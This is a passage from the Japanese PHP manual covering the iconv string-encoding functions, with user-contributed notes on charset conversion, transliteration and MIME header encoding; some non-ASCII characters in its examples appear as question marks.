    function mime_encode($data)
    {
        $resp = imap_utf8(trim($data));

        if(preg_match("/=\?/", $resp))
            $resp = iconv_mime_decode($data, ICONV_MIME_DECODE_CONTINUE_ON_ERROR, "ISO-8859-15");

        if(json_encode($resp) == 'null')
            $resp = utf8_encode($resp);

        return $resp;
    }

?>
koronci at aol dot com 19-Dec-2012 11:24
A simple and working solution for latin encoding supports Slovak, Czech, Russian ect.
<?php iconv("utf-8", "windows-1250", $SomeWeirdText); ?>

specially for those who strugle with imap_mime_header_decode
dido dot sevilla at gmail dot com 09-Mar-2005 08:00
In PHP versions that have imap_mime_decode built in, it's possible to emulate the operation of this function:

<?php
function iconv_mime_decode($str, $mode=0, $charset="UTF-8")
{
    $data = imap_mime_header_decode($str);
    if (count($data) > 0) {
      // because iconv doesn't like the 'default' for charset
      $charset = ($data[0]->charset == 'default') ? 'ASCII' : $data[0]->charset;
      return(iconv($charset, $charset, $data[0]->text));
    }
    return("");
 }
?>

I've only tried to use this code snippet to decode ISO-2022-JP messages to UTF-8, but I see no reason why it shouldn't work in other cases.


MIME ヘッダフィールドを作成する

  • ≪ iconv_mime_decode
  • iconv_set_encoding ≫
  • PHP Manual
  • iconv 関数
  • MIME ヘッダフィールドを作成する

iconv_mime_encode

(PHP 5, PHP 7, PHP 8)

iconv_mime_encode — MIME ヘッダフィールドを作成する

説明

iconv_mime_encode ( string $field_name , string $field_value , array $options = [] ) : string|false

有効な MIME ヘッダフィールドを作成し、返します。 これは以下のような形式になります。

Subject: =?ISO-8859-1?Q?Pr=FCfung_f=FCr?= Entwerfen von einer MIME kopfzeile
上の例では "Subject" がフィールド名、"=?ISO-8859-1?..." で始まる部分が フィールドの値となります。

パラメータ

field_name

フィールド名。

field_value

フィールドの値。

options

iconv_mime_encode() の振る舞いを変更するには、 ここで設定項目を含む連想配列を指定します。 iconv_mime_encode() でサポートされている項目は 以下のとおりです。項目名の大文字・小文字は区別されることに注意してください。

iconv_mime_encode() でサポートされる設定項目
項目 | 型 | 説明 | デフォルト値 | 例
scheme | string | フィールドの値のエンコード方法を指定します。"B" か "Q" の どちらかを指定することになるでしょう。"B" は base64 エンコードを、また "Q" は quoted-printable エンコードを表します。 | B | B
input-charset | string | 第 1 パラメータ field_name と第 2 パラメータ field_value の文字セットを指定します。 指定されなかった場合は、iconv_mime_encode() は ini 設定 iconv.internal_encoding であると仮定します。 | iconv.internal_encoding | ISO-8859-1
output-charset | string | MIME ヘッダを作成する文字セットを指定します。 | iconv.internal_encoding | UTF-8
line-length | int | ヘッダ行の長さの最大値を指定します。もし結果がこの値より 長くなった場合は、 » RFC2822 - Internet Message Format に基づいてヘッダを "折りたたんで" 複数行に分割します。 指定されなかった場合は、長さは 76 文字に限定されます。 | 76 | 996
line-break-chars | string | 長いヘッダフィールドに対して "折りたたみ" 処理が行われる場合に 個々の行の後ろに付加される文字列を指定します。 指定されなかった場合は、"\r\n" （CR LF）が用いられます。 このパラメータは、input-charset の値にかかわらず 常に ASCII 文字列として扱われることに注意してください。 | \r\n | \n

返り値

成功した場合はエンコードした MIME フィールド、 エンコード時にエラーが発生した場合は false を返します。

例

例1 iconv_mime_encode() の例:

<?php
$preferences = array(
    "input-charset" => "ISO-8859-1",
    "output-charset" => "UTF-8",
    "line-length" => 76,
    "line-break-chars" => "\n"
);
$preferences["scheme"] = "Q";
// この結果は "Subject: =?UTF-8?Q?Pr=C3=BCfung=20Pr=C3=BCfung?=" となります。
echo iconv_mime_encode("Subject", "Prufung Prufung", $preferences);

$preferences["scheme"] = "B";
// この結果は "Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=" となります。
echo iconv_mime_encode("Subject", "Prufung Prufung", $preferences);
?>

参考

  • imap_binary() - 8 ビット文字列を base64 文字列に変換する
  • mb_encode_mimeheader() - MIMEヘッダの文字列をエンコードする
  • imap_8bit() - 8 ビット文字列を quoted-printable 文字列に変換する
  • quoted_printable_encode() - 8 ビット文字列を quoted-printable 文字列に変換する

User Contributed Notes

shaman_master at list dot ru 19-Feb-2020 07:36
From mail(): Lines should not belarger than 70 characters.  Not 76 and not 72!
cedric at gn dot apc dot org 13-Mar-2012 03:54
iconv_mime_encode() isn't directly suitable for encoding headers which include "specials" as described in RFC 1522 s4 & s5, for example
<?php
$mimeprefs = array ("scheme" => "Q",
                    "input-charset" => "utf-8",
                    "output-charset" => "utf-8",
                    "line-break-chars" => "\n");
$enc = iconv_mime_encode('From',  '"Real Name" <user@example.com>', $prefs);
?>
will wrongly attempt to encode the angle brackets.  To use the function in place of mb_encode_mimeheader(), instead you need to encode the words separately, removing the superfluous field name:

<?php
$encoded = "From: \"". preg_replace('/^:\s+/', '', iconv_mime_encode("", $real, $mimeprefs))."\" <$email>";
?>

Also, values of "line-length" greater than 76 would be illegal under RFC 1522 and resulting encoded words may not be recognised.  (Not tested, but 72 would be safer.)
markus AT birth MINUS online DOT de 19-May-2010 05:38
Looks like this function suffers from the same bug as mb_encode_mime() with long strings of non us-ascii characters. The function then returns false. This applies for utf-8 to utf-8 "conversion".

<?php
$subject = 'Вы находитесь здесь: Главная > продукт';

$prefs = array(
    'scheme' => 'Q',
    'input-charset' => 'UTF-8',
    'output-charset' => 'UTF-8',
    'line-length' => 76,
    'line-break-chars' => "\r\n",
);

echo 'Original: ' . $subject . PHP_EOL;
$enc = iconv_mime_encode( 'Subject', $subject, $prefs );
var_dump( $enc );  // will show bool(false)
?>

As a workaround, you could explode() the value on spaces and encode each word separately. Then remove the "Subject: " in front of the resulting strings and join() them with "\r\n " (don't forget the SPACE after the \n) as separator.


文字エンコーディング変換用の設定を行なう

  • ≪ iconv_mime_encode
  • iconv_strlen ≫
  • PHP Manual
  • iconv 関数
  • 文字エンコーディング変換用の設定を行なう

iconv_set_encoding

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

iconv_set_encoding — 文字エンコーディング変換用の設定を行なう

説明

iconv_set_encoding ( string $type , string $encoding ) : bool

type で指定された内部設定変数の値を、 encoding に変更します。

パラメータ

type

type には以下の値のどれかを指定できます。

  • input_encoding
  • output_encoding
  • internal_encoding

encoding

文字セット。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 iconv_set_encoding() の例

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
?>

参考

  • iconv_get_encoding() - iconv 拡張モジュールの内部設定変数を取得する
  • ob_iconv_handler() - 出力バッファハンドラとして文字エンコーディングを変換する

User Contributed Notes

Coralie B 15-Sep-2016 09:10
I encountered the same issue than joe dot bowman at edigitalresearch.com

Even if i read on the web that it is a usual issue when using PHP 5.6 and upper, i didn't encounter it on every sites on which i use PHP 5.6.

Nevertheless, i had to find a solution because, when the issue appears, it's embarrassing. This is what i found thanks to Alexandra Lopez on http://hasibul.info.

Instead of :
if (function_exists('iconv'))
{
// These are settings that can be set inside code
    iconv_set_encoding("internal_encoding", "UTF-8?);
    iconv_set_encoding("input_encoding", "UTF-8?);
    iconv_set_encoding("output_encoding", "UTF-8?);
}

i use :
if (PHP_VERSION_ID < 50600) {
    iconv_set_encoding('input_encoding', 'UTF-8');
    iconv_set_encoding('output_encoding', 'UTF-8');
    iconv_set_encoding('internal_encoding', 'UTF-8');
} else {
    ini_set('default_charset', 'UTF-8');
}
joe dot bowman at edigitalresearch.com 18-Nov-2014 10:26
As of PHP 5.6, this throws a Deprecated level error, as is consistent with setting the iconv.*_encoding ini settings:

iconv_set_encoding('internal_encoding', 'UTF-8');

triggers:

PHP Deprecated:  iconv_set_encoding(): Use of iconv.internal_encoding is deprecated in ...
pasamio at gmail dot com 03-Jan-2008 11:18
On PHP 5.2.5 when iconv.*_encoding values are set using php_admin_value in the Apache configuration file, this call will fail and return false.


文字列の文字数を返す

  • ≪ iconv_set_encoding
  • iconv_strpos ≫
  • PHP Manual
  • iconv 関数
  • 文字列の文字数を返す

iconv_strlen

(PHP 5, PHP 7, PHP 8)

iconv_strlen — 文字列の文字数を返す

説明

iconv_strlen ( string $string , string|null $encoding = null ) : int|false

strlen() とは違い、iconv_strlen() は与えられたバイト列 string 中に現れる文字の数を 指定された文字セットに基づいて数えます。この結果は、必ずしも文字列の バイト数と一致するとは限りません。

パラメータ

string

文字列。

encoding

encoding パラメータが指定されなかった場合、もしくは null の場合、 string のエンコードは iconv.internal_encoding であると判断されます。

返り値

string の文字数を返します。 処理中にエラーが発生した場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • grapheme_strlen() - 書記素単位で文字列の長さを取得する
  • mb_strlen() - 文字列の長さを得る
  • strlen() - 文字列の長さを得る

User Contributed Notes

sheryl 12-Apr-2020 06:15
Notice there is a disconnect:
>If charset`parameter is omitted, str is assumed to be encoded in iconv.internal_encoding.

But clicking on the iconv.internal_encoding link (https://www.php.net/manual/en/iconv.configuration.php), the docs indicate that iconv.internal_encoding is deprecated since 5.6.
hfuecks @ nospam org 24-Feb-2006 04:58
If iconv_strlen is passed a UTF-8 string containing badly formed sequences, it will return FALSE. This is in contrast to mb_strlen of the behaviour of utf8_decode, which strip out any bad sequences;

<?php
# UTF-8 string containing bad sequence: \xe9
$str = "I?t?rn?ti?n\xe9?liz?ti?n";

print "mb_strlen: ".mb_strlen($str,'UTF-8')."\n";
print "strlen/utf8_decode: ".strlen(utf8_decode($str))."\n";
print "iconv_strlen: ".iconv_strlen($str,'UTF-8')."\n";
?>

Displays;

mb_strlen: 20
strlen/utf8_decode: 20
iconv_strlen:

(PHP 5.0.5)

As such it is being "stricter" than mb_strlen and it may mean you need to check for invalid sequences first. A quick way to check is to exploit the behaviour of the PCRE extension (see notes on pattern modifiers);

<?php
if (preg_match('/^.{1}/us',$str,$ar) != 1) {
    die("string contains invalid UTF-8");
}
?>

A slower but stricter check (regex) can be found at: http://www.w3.org/International/questions/qa-forms-utf-8

Similiar applies to iconv_substr, iconv_strpos and iconv_strrpos


文字列が最初に現れる場所を見つける

  • ≪ iconv_strlen
  • iconv_strrpos ≫
  • PHP Manual
  • iconv 関数
  • 文字列が最初に現れる場所を見つける

iconv_strpos

(PHP 5, PHP 7, PHP 8)

iconv_strpos — 文字列が最初に現れる場所を見つける

説明

iconv_strpos ( string $haystack , string $needle , int $offset = 0 , string|null $encoding = null ) : int|false

needle が haystack の中で最初に現れる位置を探します。

strpos() の返り値は needle が見つかった位置の 先頭からのバイト数でしたが、それとは異なり iconv_strpos() の返り値は needle が見つかった 位置の先頭からの文字数となります。文字数は encoding で指定された文字セットに基づいて 数えられます。

パラメータ

haystack

文字列全体。

needle

検索する文字列。

offset

オプションの offset パラメータは 検索を開始する位置を指定します。 負のオフセットは、文字列の末尾からのオフセットと解釈されます。

encoding

encoding パラメータが指定されなかった場合、もしくは null の場合、 string のエンコードは iconv.internal_encoding であると判断されます。

haystack や needle が文字列でない場合、文字列に変換され、文字が並んだ値として適用されます。

返り値

needle が haystack の中で最初に現れる位置を探します。

もし needle が見つからなかった場合、 iconv_strpos() は false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。
7.1.0 | 負の offset をサポートするようになりました。

参考

  • strpos() - 文字列内の部分文字列が最初に現れる場所を見つける
  • iconv_strrpos() - 文字列が最後に現れる場所を見つける
  • mb_strpos() - 文字列の中に指定した文字列が最初に現れる位置を見つける

User Contributed Notes

There are no user contributed notes for this page.


文字列が最後に現れる場所を見つける

  • ≪ iconv_strpos
  • iconv_substr ≫
  • PHP Manual
  • iconv 関数
  • 文字列が最後に現れる場所を見つける

iconv_strrpos

(PHP 5, PHP 7, PHP 8)

iconv_strrpos — 文字列が最後に現れる場所を見つける

説明

iconv_strrpos ( string $haystack , string $needle , string|null $encoding = null ) : int|false

needle が haystack の中で最後に現れる位置を探します。

strrpos() の返り値は needle が見つかった位置の 先頭からのバイト数でしたが、それとは異なり iconv_strrpos() の返り値は needle が見つかった 位置の先頭からの文字数となります。 文字数は encoding で指定された文字セットに基づいて数えられます。

パラメータ

haystack

文字列全体。

needle

検索する文字列。

encoding

encoding パラメータが指定されなかった場合、もしくは null の場合、 string のエンコードは iconv.internal_encoding であると判断されます。

haystack や needle が文字列でない場合、文字列に変換され、文字が並んだ値として適用されます。

返り値

文字列 haystack の中で、 needle が最後に現れた位置を数字で返します。

もし needle が見つからなかった場合、 iconv_strrpos() は false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

参考

  • strrpos() - 文字列中に、ある部分文字列が最後に現れる場所を探す
  • iconv_strpos() - 文字列が最初に現れる場所を見つける
  • mb_strrpos() - 文字列の中に指定した文字列が最後に現れる位置を見つける

User Contributed Notes

There are no user contributed notes for this page.


文字列の一部を切り出す

  • ≪ iconv_strrpos
  • iconv ≫
  • PHP Manual
  • iconv 関数
  • 文字列の一部を切り出す

iconv_substr

(PHP 5, PHP 7, PHP 8)

iconv_substr — 文字列の一部を切り出す

説明

iconv_substr ( string $string , int $offset , int|null $length = null , string|null $encoding = null ) : string|false

文字列 string の、 offset と length で指定された一部を返します。

パラメータ

string

元の文字列。

offset

offset が負でない場合、 iconv_substr() は string の offset 番目の文字（ゼロから数えて）から切り出します。

offset が負の場合、 iconv_substr() は string の最後から数えて offset 番目の文字から切り出します。

length

length が指定され、かつ正である場合、 返される文字列は offset から数えて最大 length 文字数分となります (string の長さに依存します)。

もし負の length が渡された場合に iconv_substr() が切り出す文字列は、 string の offset 番目の文字からはじまり、文字列の最後から数えて length 文字分戻ったところまでとなります。 offset も負の場合、開始位置は 上で説明した方式で計算されます。

encoding

encoding が指定されなかった場合、もしくは null の場合、文字セットは ini 設定 iconv.internal_encoding で定義された値とみなされます。

offset や length のパラメータは、常に charset で定義された 文字セットにおける文字数と判断されることに注意してください。 一方、substr() の場合はこれらの値を常に バイト数として判断します。

返り値

文字列 string の、 offset と length で指定された一部を返します。

もし string が offset の文字列長より短い場合は、false が返されます。 string が offset の文字数に等しい場合、 空文字列が返されます。

変更履歴

バージョン | 説明
8.0.0 | length と encoding は、nullable になりました。
7.0.11 | string が offset の文字数に等しい場合、 空文字列が返されます。 これより前のバージョンでは、この場合 false が返されていました。

参考

  • substr() - 文字列の一部分を返す
  • mb_substr() - 文字列の一部を得る
  • mb_strcut() - 文字列の一部を得る

User Contributed Notes

doru87 at gmail dot com 21-Jan-2010 05:29
just fyi, iconv_substr() unknown error (0) has been resolved in PHP 5.2

you can also try mb_substr() or just substr() when dealing with this issue. Unfortunately there is no way to fix it in versions prior to 5.2.

Regards,
Teodor Sandu
qbolec at terra dot es 25-May-2007 02:07
<?=
iconv_substr("A",0,1);
?>
generates folowing error:
Notice: iconv_substr() [function.iconv-substr]: Unknown error (0) in [...]

while, <?= iconv_substr("AB",0,1) ?> and <?= iconv_substr("AB",0,2) ?>
work as expected.


文字列を指定した文字エンコーディングに変換する

  • ≪ iconv_substr
  • ob_iconv_handler ≫
  • PHP Manual
  • iconv 関数
  • 文字列を指定した文字エンコーディングに変換する

iconv

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

iconv — 文字列を指定した文字エンコーディングに変換する

説明

iconv ( string $from_encoding , string $to_encoding , string $string ) : string|false

文字列 string の文字セットを from_encoding から to_encoding に変換します。

パラメータ

from_encoding

入力文字セット。

to_encoding

出力文字セット。

文字列 //TRANSLIT を to_encoding に追加すると、翻字機能が有効になります。これは、指定された文字集合で 表せない文字を、見た目の似ている別の文字に置き換える機能です。 文字列 //IGNORE を追加すると、指定された文字集合で 表せない文字は黙って切り捨てられます。 それ以外の場合は E_NOTICE が発生し、この関数は false を返します。

警告

//TRANSLIT が機能したとしたら、 どう動くかはシステムの iconv() の実装 (ICONV_IMPL を参照) に依存します。 実装によっては、//TRANSLIT を無視することが知られています。 よって、to_encoding において無効な文字に対しては、 変換処理は失敗するかもしれません。

string

変換する文字列。

返り値

変換された文字列、失敗した場合に false を返します。

例

例1 iconv() の例

<?php
$text = "This is the Euro symbol '?'.";

echo 'Original : ', $text, PHP_EOL;
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
echo 'IGNORE   : ', iconv("UTF-8", "ISO-8859-1//IGNORE", $text), PHP_EOL;
echo 'Plain    : ', iconv("UTF-8", "ISO-8859-1", $text), PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

Original : This is the Euro symbol '?'.
TRANSLIT : This is the Euro symbol 'EUR'.
IGNORE   : This is the Euro symbol ''.
Plain    :
Notice: iconv(): Detected an illegal character in input string in .\iconv-example.php on line 7

User Contributed Notes

Daniel Klein 18-Nov-2019 01:41
If you want to convert to a Unicode encoding without the byte order mark (BOM), add the endianness to the encoding, e.g. instead of "UTF-16" which will add a BOM to the start of the string, use "UTF-16BE" which will convert the string without adding a BOM.

i.e.

<?php
iconv('CP1252', 'UTF-16', $text); // with BOM
iconv('CP1252', 'UTF-16BE', $text); // without BOM
phpnet at dariosulser dot ch 18-Sep-2019 01:12
ANSI = Windows-1252 = CP1252
So UTF-8 -> ANSI:

<?php
      $string = "Winkel γ=200 fur 1?"; //"γ"=HTML:&gamma;
      $result = iconv('UTF-8', 'CP1252//IGNORE', $string);
      echo $result;
?>

Note1
<?php
      $string = "Winkel γ=200 fur 1?";
      $result = iconv('UTF-8', 'CP1252', $string);
      echo $result; //"conv(): Detected an illegal character in input string"
?>

Note2 (ANSI is better than decode in ISO 8859-1 (ISO-8859-1==Latin-1)
<?php
      $string = "Winkel γ=200 fur 1?";
      $result = utf8_decode($string);
      echo $result; //"Winkel ?=200 fur 1?"
?>

Note3 of used languages on Websites:
93.0% = UTF-8;
3.5% = Latin-1;
0.6% = ANSI <----- you shoud use (or utf-8 if your page is in Chinese or has Maths)
Daniel Klein 08-Apr-2016 09:12
I just found out today that the Windows and *NIX versions of PHP use different iconv libraries and are not very consistent with each other.

Here is a repost of my earlier code that now works on more systems. It converts as much as possible and replaces the rest with question marks:

<?php
if (!function_exists('utf8_to_ascii')) {
  setlocale(LC_CTYPE, 'en_AU.utf8');
  if (@iconv("UTF-8", "ASCII//IGNORE//TRANSLIT", 'e') === false) {
    // PHP is probably using the glibc library (*NIX)
    function utf8_to_ascii($text) {
      return iconv("UTF-8", "ASCII//TRANSLIT", $text);
    }
  }
  else {
    // PHP is probably using the libiconv library (Windows)
    function utf8_to_ascii($text) {
      if (is_string($text)) {
        // Includes combinations of characters that present as a single glyph
        $text = preg_replace_callback('/\X/u', __FUNCTION__, $text);
      }
      elseif (is_array($text) && count($text) == 1 && is_string($text[0])) {
        // IGNORE characters that can't be TRANSLITerated to ASCII
        $text = iconv("UTF-8", "ASCII//IGNORE//TRANSLIT", $text[0]);
        // The documentation says that iconv() returns false on failure but it returns ''
        if ($text === '' || !is_string($text)) {
          $text = '?';
        }
        elseif (preg_match('/\w/', $text)) {        // If the text contains any letters...
          $text = preg_replace('/\W+/', '', $text); // ...then remove all non-letters
        }
      }
      else {  // $text was not a string
        $text = '';
      }
      return $text;
    }
  }
}
Nopius 26-Mar-2015 02:08
As orrd101 said, there is a bug with //IGNORE in recent PHP versions (we use 5.6.5) where we couldn't convert some strings (i.e. "?" from UTF8 to CP1251 with //IGNORE).
But we have found a workaround and now we use both //TRANSLIT and //IGNORE flags:
$text="?";
iconv("UTF8", "CP1251//TRANSLIT//IGNORE", $text);
atelier at degoy dot com 19-Nov-2014 07:41
There may be situations when a new version of a web site, all in UTF-8, has to display some old data remaining in the database with ISO-8859-1 accents. The problem is iconv("ISO-8859-1", "UTF-8", $string) should not be applied if $string is already UTF-8 encoded.

I use this function that does'nt need any extension :

function convert_utf8( $string ) {
    if ( strlen(utf8_decode($string)) == strlen($string) ) {
        // $string is not UTF-8
        return iconv("ISO-8859-1", "UTF-8", $string);
    } else {
        // already UTF-8
        return $string;
    }
}

 I have not tested it extensively, hope it may help.
rasmus at mindplay dot dk 27-Jun-2014 11:52
Note an important difference between iconv() and mb_convert_encoding() - if you're working with strings, as opposed to files, you most likely want mb_convert_encoding() and not iconv(), because iconv() will add a byte-order marker to the beginning of (for example) a UTF-32 string when converting from e.g. ISO-8859-1, which can throw off all your subsequent calculations and operations on the resulting string.

In other words, iconv() appears to be intended for use when converting the contents of files - whereas mb_convert_encoding() is intended for use when juggling strings internally, e.g. strings that aren't being read/written to/from files, but exchanged with some other media.
chicopeste at gmail dot com 25-Sep-2013 07:45
iconv also support CP850.
I used iconv("CP850", "UTF-8//TRANSLIT", $var);
to convert from SQL_Latin1_General_CP850_CI_AI to UTF-8.
jorortega at gmail dot com 04-Sep-2013 03:52
Be aware that iconv in PHP uses system implementations of locales and languages, what works under linux, normally doesn't in windows.

Also, you may notice that recent versions of linux (debian, ubuntu, centos, etc) the //TRANSLIT option doesn't work. since most distros doesn't include the intl packages (example: php5-intl and icuxx (where xx is a number) in debian) by default. And this because the intl package conflicts with another package needed for international DNS resolution.

Problem is that configuration is dependent of the sysadmin of the machine where you're hosted, so iconv is pretty much useless by default,  depending on what configuration is used by your distro or the machine's admin.
jessiedeer at hotmail dot com 15-Jul-2013 02:06
iconv with //IGNORE works as expected: it will skip the character if this one does not exist in the $out_charset encoding.

If a character is missing from the $in_charset encoding (eg byte \x81 from CP1252 encoding), then iconv will return an error, whether with //IGNORE or not.
jessie at hotmail dot com 21-Jun-2013 09:44
Provided that there is no invalid code point in the character chain for the input encoding, the //IGNORE option works as expected. No bug here.
admin at iecw dot net 10-Apr-2013 05:39
If you want to normalize a filename on Mac OS X, because it is in UTF-8 NFD and you need UTF-8 NFC
(See: http://en.wikipedia.org/wiki/Unicode_equivalence#Combining_and_precomposed_characters)
you may use:
<?php
$filename_nfc = iconv("UTF-8-MAC", "UTF-8", $filename_nfd);
?>
Daniel Klein 13-Mar-2013 12:17
You can use 'CP1252' instead of 'Windows-1252':
<?php
// These two lines are equivalent
$result = iconv('Windows-1252', 'UTF-8', $string);
$result = iconv('CP1252', 'UTF-8', $string);
?>
Note: The following code points are not valid in CP1252 and will cause errors.
129 (0x81)
141 (0x8D)
143 (0x8F)
144 (0x90)
157 (0x9D)
Use the following instead:
<?php
// Remove invalid code points, convert everything else
$result = iconv('CP1252', 'UTF-8//IGNORE', $string);
?>
orrd101 at gmail dot com 14-May-2012 06:58
The "//ignore" option doesn't work with recent versions of the iconv library.  So if you're having trouble with that option, you aren't alone.

That means you can't currently use this function to filter invalid characters.  Instead it silently fails and returns an empty string (or you'll get a notice but only if you have E_NOTICE enabled).

This has been a known bug with a known solution for at least since 2009 years but no one seems to be willing to fix it (PHP must pass the -c option to iconv).  It's still broken as of the latest release 5.4.3.

https://bugs.php.net/bug.php?id=48147
https://bugs.php.net/bug.php?id=52211
https://bugs.php.net/bug.php?id=61484

[UPDATE 15-JUN-2012]
Here's a workaround...

  ini_set('mbstring.substitute_character', "none");
  $text= mb_convert_encoding($text, 'UTF-8', 'UTF-8');

That will strip invalid characters from UTF-8 strings (so that you can insert it into a database, etc.).  Instead of "none" you can also use the value 32 if you want it to insert spaces in place of the invalid characters.
daniel dot rhodes at warpasylum dot co dot uk 23-Aug-2011 08:22
Interestingly, setting different target locales results in different, yet appropriate, transliterations. For example:

<?php
//some German
$utf8_sentence = 'Weis, Goldmann, Gobel, Weiss, Gothe, Goethe und Gotz';

//UK
setlocale(LC_ALL, 'en_GB');

//transliterate
$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Gobel, Weiss, Gothe, Goethe und Gotz]
//which is our original string flattened into 7-bit ASCII as
//an English speaker would do it (ie. simply remove the umlauts)
echo $trans_sentence . PHP_EOL;

//Germany
setlocale(LC_ALL, 'de_DE');

$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Goebel, Weiss, Goethe, Goethe und Goetz]
//which is exactly how a German would transliterate those
//umlauted characters if forced to use 7-bit ASCII!
//(because really a = ae, o = oe and u = ue)
echo $trans_sentence . PHP_EOL;

?>
ameten 14-Jan-2011 04:17
I have used iconv to convert from cp1251 into UTF-8. I spent a day to investigate why a string with Russian capital 'Р' (sounds similar to 'r') at the end cannot be inserted into a database.

The problem is not in iconv. But 'Р' in cp1251 is chr(208) and 'Р' in UTF-8 is chr(208).chr(106). chr(106) is one of the space symbol which match '\s' in regex. So, it can be taken by a greedy '+' or '*' operator. In that case, you loose 'Р' in your string.

For example, 'ГР   ' (Russian, UTF-8). Function preg_match. Regex is '(.+?)[\s]*'. Then '(.+?)' matches 'Г'.chr(208) and '[\s]*' matches chr(106).'   '.

Although, it is not a bug of iconv, but it looks like it very much. That's why I put this comment here.
vb (at) bertola.eu 15-Jul-2010 06:35
On my system, according to tests, and also as reported by other people elsewhere, you can combine TRANSLIT and IGNORE only by appending

//IGNORE//TRANSLIT

strictly in that order, but NOT by appending //TRANSLIT//IGNORE, which would lead to //IGNORE being ignored ( :) ).

Anyway, it's hard to understand how one could devise a system of passing options that does not allow to couple both options in a neat manner, and also to understand why the default behaviour should be the less useful and most dangerous one (throwing away most of your data at the first unexpected character). Software design FAIL :-/
Anonymous 18-Jan-2010 11:37
For text with special characters such as (e) &eacute; which appears at 0xE9 in the ISO-8859-1 and at 0x82 in IBM-850. The correct output character set is 'IBM850' as:
('ISO-8859-1', 'IBM850', 'Quebec')
Andries Seutens 07-Nov-2009 11:38
When doing transliteration, you have to make sure that your LC_COLLATE is properly set, otherwise the default POSIX will be used.

To transform "rene" into "rene" we could use the following code snippet:

<?php

setlocale(LC_CTYPE, 'nl_BE.utf8');

$string = 'rene';
$string = iconv('UTF-8', 'ASCII//TRANSLIT', $string);

echo $string; // outputs rene

?>
annuaireehtp at gmail dot com 14-Oct-2009 04:53
to test different combinations of convertions between charsets (when we don't know the source charset and what is the convenient destination charset) this is an example :

<?php
$tab = array("UTF-8", "ASCII", "Windows-1252", "ISO-8859-15", "ISO-8859-1", "ISO-8859-6", "CP1256");
$chain = "";
foreach ($tab as $i)
    {
        foreach ($tab as $j)
        {
            $chain .= " $i$j ".iconv($i, $j, "$my_string");
        }
    }

echo $chain;
?>

then after displaying, you use the $i$j that shows good displaying.
NB: you can add other charsets to $tab  to test other cases.
phpmanualspam at netebb dot com 17-Sep-2009 11:53
mirek code, dated 16-May-2008 10:17, added the characters `^~'" to the output.
This function will strip out these extra characters:
<?php
setlocale(LC_ALL, 'en_US.UTF8');
function clearUTF($s)
{
    $r = '';
    $s1 = @iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    $j = 0;
    for ($i = 0; $i < strlen($s1); $i++) {
        $ch1 = $s1[$i];
        $ch2 = @mb_substr($s, $j++, 1, 'UTF-8');
        if (strstr('`^~\'"', $ch1) !== false) {
            if ($ch1 <> $ch2) {
                --$j;
                continue;
            }
        }
        $r .= ($ch1=='?') ? $ch2 : $ch1;
    }
    return $r;
}
?>
martin at front of mind dot co dot uk 29-May-2009 03:33
For transcoding values in an Excel generated CSV the following seems to work:

<?php
$value = iconv('Windows-1252', 'UTF-8//TRANSLIT', $value);
?>
manuel at kiessling dot net 16-Apr-2009 09:33
Like many other people, I have encountered massive problems when using iconv() to convert between encodings (from UTF-8 to ISO-8859-15 in my case), especially on large strings.

The main problem here is that when your string contains illegal UTF-8 characters, there is no really straight forward way to handle those. iconv() simply (and silently!) terminates the string when encountering the problematic characters (also if using //IGNORE), returning a clipped string. The

<?php

$newstring = html_entity_decode(htmlentities($oldstring, ENT_QUOTES, 'UTF-8'), ENT_QUOTES , 'ISO-8859-15');

?>

workaround suggested here and elsewhere will also break when encountering illegal characters, at least dropping a useful note ("htmlentities(): Invalid multibyte sequence in argument in...")

I have found a lot of hints, suggestions and alternative methods (it's scary and in my opinion no good sign how many ways PHP natively provides to convert the encoding of strings), but none of them really worked, except for this one:

<?php

$newstring = mb_convert_encoding($oldstring, 'ISO-8859-15', 'UTF-8');

?>
kikke 20-Feb-2009 04:50
You can use native iconv in Linux via passthru if all else failed.
Use the -c parameter to suppress error messages.
Leigh Morresi 01-Oct-2008 11:10
If you are getting question-marks in your iconv output when transliterating, be sure to 'setlocale' to something your system supports.

Some PHP CMS's will default setlocale to 'C', this can be a problem.

use the "locale" command to find out a list..

$ locale -a
C
en_AU.utf8
POSIX

<?php
  setlocale(LC_CTYPE, 'en_AU.utf8');
  $str = iconv('UTF-8', 'ASCII//TRANSLIT', "Cote d'Ivoire");
?>
mirek at burkon dot org 16-May-2008 03:17
If you need to strip as many national characters from UTF-8 as possible and keep the rest of input unchanged (i.e. convert whatever can be converted to ASCII and leave the rest), you can do it like this:

<?php
setlocale(LC_ALL, 'en_US.UTF8');

function clearUTF($s)
{
    $r = '';
    $s1 = iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    for ($i = 0; $i < strlen($s1); $i++)
    {
        $ch1 = $s1[$i];
        $ch2 = mb_substr($s, $i, 1);

        $r .= $ch1=='?'?$ch2:$ch1;
    }
    return $r;
}

echo clearUTF('?ilen? ?lu?ou?ky Va?ek up?l olol! This will remain untranslated: ??????');
//outputs Silene zlutoucky Vasek upel olol! This will remain untranslated: ??????
?>

Just remember you HAVE TO set locale to some unicode encoding to make iconv handle //TRANSLIT correctly!
berserk220 at mail dot ru 29-Feb-2008 06:44
So, as iconv() does not always work correctly, in most cases, much easier to use htmlentities().
